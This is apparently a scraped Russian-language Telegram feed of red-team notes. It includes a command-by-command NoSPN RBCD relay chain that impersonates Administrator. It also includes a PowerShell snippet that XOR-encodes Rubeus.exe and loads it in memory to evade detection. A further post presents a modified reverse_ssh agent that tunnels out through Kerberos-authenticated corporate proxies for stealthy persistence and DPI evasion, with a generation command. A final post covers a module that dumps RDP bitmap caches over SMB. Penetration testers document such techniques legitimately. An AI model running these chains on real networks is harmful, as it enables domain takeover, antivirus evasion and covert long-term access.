#rbcd #relay #ntlmrelayx #upn #nospn #lpe
При наличии возможности вызвать relay на ldap от имени машинной УЗ (например, при включенном WebDav), машинную УЗ можно скомпрометировать.
Основная причина заключается в том что, машинная уз может сама себе устаналивать параметр msDS-AllowedToActOnBehalfOfOtherIdentity - фактически указывать SPN/UPN произвольной УЗ. Дальнейшее использование этой УЗ позволит скомпоометировать машину (классический RBCD).
Интересно то, что для эксплуатации можно использовать как вспомогательную машинную УЗ или, при maq=0, УЗ пользователя.
Снизу представлен "POC" для эксплуатации NoSPN RBCD через Relay
При наличии возможности вызвать relay на ldap от имени машинной УЗ (например, при включенном WebDav), машинную УЗ можно скомпрометировать.
Основная причина заключается в том что, машинная уз может сама себе устаналивать параметр msDS-AllowedToActOnBehalfOfOtherIdentity - фактически указывать SPN/UPN произвольной УЗ. Дальнейшее использование этой УЗ позволит скомпоометировать машину (классический RBCD).
Интересно то, что для эксплуатации можно использовать как вспомогательную машинную УЗ или, при maq=0, УЗ пользователя.
Снизу представлен "POC" для эксплуатации NoSPN RBCD через Relay
#Check RBCD (Empty)
rbcd.py -delegate-to 'target$' -dc-ip 'DC_IP' -action 'read' 'domain'/'controlledaccountwithoutSPN':'SomePassword'
# To set RBCD
ntlmrelayx.py -t ldap://'DC_IP' --delegate-access --escalate-user 'controlledaccountwithoutSPN'
#Check RBCD (With SID of controlledaccountwithoutSPN)
rbcd.py -delegate-to 'target$' -dc-ip 'DC_IP' -action 'read' 'domain'/'controlledaccountwithoutSPN':'SomePassword'
# Obtain a TGT through overpass-the-hash to use RC4
getTGT.py -hashes :$(pypykatz crypto nt 'SomePassword') 'domain'/'controlledaccountwithoutSPN'
# Obtain the TGT session key
describeTicket.py 'TGT.ccache' | grep 'Ticket Session Key'
# Change the controlledaccountwithoutSPN's NT hash with the TGT session key
changepasswd.py -newhashes :TGTSessionKey 'domain'/'controlledaccountwithoutSPN':'SomePassword'@'DomainController'
# Obtain the delegated service ticket through S4U2self+U2U, followed by S4U2proxy (the steps could be conducted individually with the -self and -additional-ticket flags)
KRB5CCNAME='TGT.ccache' getST.py -u2u -impersonate "Administrator" -spn "host/target.domain.com" -k -no-pass 'domain'/'controlledaccountwithoutSPN'
# The password can then be reset to its old value (or another one if the domain policy forbids it, which is usually the case)
smbpasswd.py -hashes :TGTSessionKey -newhashes :OldNTHash 'domain'/'controlledaccountwithoutSPN'@'DomainController'
👍1🔥1
Forwarded from shit notes
🔥1
This media is not supported in the widget
VIEW IN TELEGRAM
Pentester`s Notes
This media is not supported in the widget
VIEW IN TELEGRAM
Чтобы было под рукой.
#xor #encode #bypass
$key = [byte][char]'A'; [byte[]]$data = Get-Content "C:\users\lab\desktop\redteam\Rubeus.exe" -Encoding Byte; $xored = $data | ForEach-Object { $_ -bxor $key }; [Convert]::ToBase64String($xored) | Set-Content "encoded.txt"
$key = [byte][char]'A'; $b64 = Get-Content "encoded.txt"; $bytes = [Convert]::FromBase64String($b64); $decoded = $bytes | ForEach-Object { $_ -bxor $key }; [System.Reflection.Assembly]::Load([byte[]]$decoded)#xor #encode #bypass
🔥1😍1
Многие спрашивают "как вкатиться в ИБ?", "сложно ли это?", "Какая у тебя зарплата?" и т.д.
В данной статье развеивается ряд мифов и даются ответы на ряд вопросов.
https://habr.com/ru/companies/netologyru/articles/956702/
В данной статье развеивается ряд мифов и даются ответы на ряд вопросов.
https://habr.com/ru/companies/netologyru/articles/956702/
Хабр
Вся правда о карьере в ИБ: разбираем мифы про хакеров и высокие зарплаты
Кибербезопасность сегодня выглядит как одна из самых заметных сфер в IT: о ней много говорят, специалистов не хватает, а зарплаты обсуждают даже в общих чатах...
Кто до сих пор думает, что айтишники много получают... вот типичный представитель redteam-команды.
Всем привет!
Когда-то мы с ребятами из RTB обсуждали возможность релея на HTTPS и наличие EPA. Мы остановились на том, что пока нет утилит для получения информации о наличии данного механизма и его статусе.
Так вот, ребята из specterops поресерчили и выкатили статью и утилиту для исследования HTTPS и MSSQL.
https://specterops.io/blog/2025/11/25/less-praying-more-relaying-enumerating-epa-enforcement-for-mssql-and-https/
Тулза
https://github.com/zyn3rgy/RelayInformer
Когда-то мы с ребятами из RTB обсуждали возможность релея на HTTPS и наличие EPA. Мы остановились на том, что пока нет утилит для получения информации о наличии данного механизма и его статусе.
Так вот, ребята из specterops поресерчили и выкатили статью и утилиту для исследования HTTPS и MSSQL.
https://specterops.io/blog/2025/11/25/less-praying-more-relaying-enumerating-epa-enforcement-for-mssql-and-https/
Тулза
https://github.com/zyn3rgy/RelayInformer
1👍4🔥4
👋 Всем привет!
Сталкивались с ситуацией, когда в организации грамотно настроен выход в интернет?
Сценарий такой:
🔒 По умолчанию доступ в интернет с хостов запрещен.
🌐 Есть корпоративный прокси-сервер с обязательной аутентификацией.
🤔 Да ещё и только по протоколу Kerberos (Negotiate), и не каждому пользователю разрешён выход.
Итак, что делать, если вы получили доступ к хосту от имени доменного пользователя, которому разрешён выход в интернет? Мне сразу же хочется пробросить сессию наружу, запроксироваться и закрепиться тихо и надолго. 😄
💡 Поиск решения
Я перебрал много известных инструментов, но не нашёл ничего подходящего. Большинство решений поддерживают только NTLM или Basic аутентификацию, либо вообще не умеют работать с прокси.
Пришла идея написать небольшой прокси-сервер-прослойку, который бы принимал соединения без аутентификации и сам проходил её на корпоративном прокси. Но встал вопрос: откуда брать учетные данные?
🛠 Первые шаги
Нашёлся старый, но рабочий репозиторий — win-auth-proxy (ссылка). Автор реализовал извлечение дескриптора учётных данных из текущей сессии пользователя с помощью winapi функции AcquireCredentialsHandle, а затем использовал InitializeSecurityContext для аутентификации на проксе.
Скомпилировал его, почти ничего не меняя, и — о чудо, всё завелось! ✨ Но тащить два бинаря на хост показалось не очень элегантным решением.
🚀 Идеальный инструмент
Тут я вспомнил про замечательный инструмент reverse_ssh (ссылка). Он тихий и поддерживает всё, что нужно:
- Интерактивную сессию
- Проксирование
- Проброс портов
- Передачу файлов
В общем, всё, что может обычный SSH. Я форкнул репозиторий и добавил необходимые доработки для аутентификации на прокси с использованием текущих учётных данных пользователя Windows.
Отдельно стоит упомянуть гибкость транспортов. Инструмент умеет работать не только по чистому TCP, но и заворачивать трафик в HTTP, HTTPS, TLS, WS (WebSocket) и WSS. Это критически важно для обхода DPI и маскировки под легитимный веб-трафик в жестко контролируемых сетях.
Позже один молодой эксперт (nollium) доработал инструмент, добавив аутентификацию через NTLM с указанием кредов. Что удобно для запуска, например с linux систем.
💪 Финальный штрих
Я столкнулся с проблемой, когда прокси-сервер находится в одном домене AD, а пользователь — в другом. Происходила ошибка из-за неверного выбора realm. Эту проблему я тоже исправил.
Чтобы использовать фичу, достаточно добавить флаг
Теперь у нас есть мощный инструмент, который поможет пробить стену!
PS. Все изменения уже доступны в оригинальном репозитории. Пользуйтесь на здоровье!
#pentest #redteam #proxy #kerberos #ssh #infosec #bypass #auth #negotiate
Сталкивались с ситуацией, когда в организации грамотно настроен выход в интернет?
Сценарий такой:
🔒 По умолчанию доступ в интернет с хостов запрещен.
🌐 Есть корпоративный прокси-сервер с обязательной аутентификацией.
🤔 Да ещё и только по протоколу Kerberos (Negotiate), и не каждому пользователю разрешён выход.
Итак, что делать, если вы получили доступ к хосту от имени доменного пользователя, которому разрешён выход в интернет? Мне сразу же хочется пробросить сессию наружу, запроксироваться и закрепиться тихо и надолго. 😄
💡 Поиск решения
Я перебрал много известных инструментов, но не нашёл ничего подходящего. Большинство решений поддерживают только NTLM или Basic аутентификацию, либо вообще не умеют работать с прокси.
Пришла идея написать небольшой прокси-сервер-прослойку, который бы принимал соединения без аутентификации и сам проходил её на корпоративном прокси. Но встал вопрос: откуда брать учетные данные?
🛠 Первые шаги
Нашёлся старый, но рабочий репозиторий — win-auth-proxy (ссылка). Автор реализовал извлечение дескриптора учётных данных из текущей сессии пользователя с помощью winapi функции AcquireCredentialsHandle, а затем использовал InitializeSecurityContext для аутентификации на проксе.
Скомпилировал его, почти ничего не меняя, и — о чудо, всё завелось! ✨ Но тащить два бинаря на хост показалось не очень элегантным решением.
🚀 Идеальный инструмент
Тут я вспомнил про замечательный инструмент reverse_ssh (ссылка). Он тихий и поддерживает всё, что нужно:
- Интерактивную сессию
- Проксирование
- Проброс портов
- Передачу файлов
В общем, всё, что может обычный SSH. Я форкнул репозиторий и добавил необходимые доработки для аутентификации на прокси с использованием текущих учётных данных пользователя Windows.
Отдельно стоит упомянуть гибкость транспортов. Инструмент умеет работать не только по чистому TCP, но и заворачивать трафик в HTTP, HTTPS, TLS, WS (WebSocket) и WSS. Это критически важно для обхода DPI и маскировки под легитимный веб-трафик в жестко контролируемых сетях.
Позже один молодой эксперт (nollium) доработал инструмент, добавив аутентификацию через NTLM с указанием кредов. Что удобно для запуска, например с linux систем.
💪 Финальный штрих
Я столкнулся с проблемой, когда прокси-сервер находится в одном домене AD, а пользователь — в другом. Происходила ошибка из-за неверного выбора realm. Эту проблему я тоже исправил.
Чтобы использовать фичу, достаточно добавить флаг
--use-kerberos при генерации агента:link --https --name main_agent --use-kerberos --proxy http://proxy.example.com:8080 --goos windows
Теперь у нас есть мощный инструмент, который поможет пробить стену!
PS. Все изменения уже доступны в оригинальном репозитории. Пользуйтесь на здоровье!
#pentest #redteam #proxy #kerberos #ssh #infosec #bypass #auth #negotiate
🔥7❤3👨💻2👍1
Всех сердечно поздравляю с Рождеством Христовым!
Ещё 7 числа поздравлю.
Ещё 7 числа поздравлю.
1❤11
Выкатил PR в NetExec: модуль rdpcache — вытаскиваем и разбираем RDP Bitmap Cache с удалённых Windows по SMB.
Если коротко: RDP-кэш — это 64×64 тайлы (фрагменты экрана), которые клиент складывает «для оптимизации». Иногда эта оптимизация оптимизирует ещё и расследование: в тайлах остаются куски UI, имена файлов/окон, элементы интерфейса и фрагменты вывода команд.
Что делает модуль:
- Enum RDP-настроек из реестра: client/server конфиг, NLA, порт.
- Достаёт историю RDP-коннектов (MRU) из всех пользовательских профилей.
- Скачивает Cache*.bin и bcache*.bmc, парсит, режет в 64×64 и собирает коллажи для быстрого просмотра (опционально).
Как использовать:
Опции (если хочется аккуратно автоматизировать под себя):
- OUTPUT=...
- USERS=all|user1,user2
- COLLAGE=False (если не хочется «обоев»)
- COLLAGE_WIDTH=24
- SMART=True (сортировка тайлов по яркости — визуально быстрее выцеплять полезное)
pillow нужен только если генерировать картинки/коллажи.
PR: https://github.com/Pennyw0rth/NetExec/pull/1075
#redteam #pentest #netexec #rdp #dfir
Если коротко: RDP-кэш — это 64×64 тайлы (фрагменты экрана), которые клиент складывает «для оптимизации». Иногда эта оптимизация оптимизирует ещё и расследование: в тайлах остаются куски UI, имена файлов/окон, элементы интерфейса и фрагменты вывода команд.
Что делает модуль:
- Enum RDP-настроек из реестра: client/server конфиг, NLA, порт.
- Достаёт историю RDP-коннектов (MRU) из всех пользовательских профилей.
- Скачивает Cache*.bin и bcache*.bmc, парсит, режет в 64×64 и собирает коллажи для быстрого просмотра (опционально).
Как использовать:
# enum (default)
nxc smb <target> -u <user> -p <pass> -M rdpcache
# dump + извлечение и коллаж
nxc smb <target> -u <user> -p <pass> -M rdpcache -o ACTION=dump
Опции (если хочется аккуратно автоматизировать под себя):
- OUTPUT=...
- USERS=all|user1,user2
- COLLAGE=False (если не хочется «обоев»)
- COLLAGE_WIDTH=24
- SMART=True (сортировка тайлов по яркости — визуально быстрее выцеплять полезное)
pillow нужен только если генерировать картинки/коллажи.
PR: https://github.com/Pennyw0rth/NetExec/pull/1075
#redteam #pentest #netexec #rdp #dfir
1❤5🔥4👍3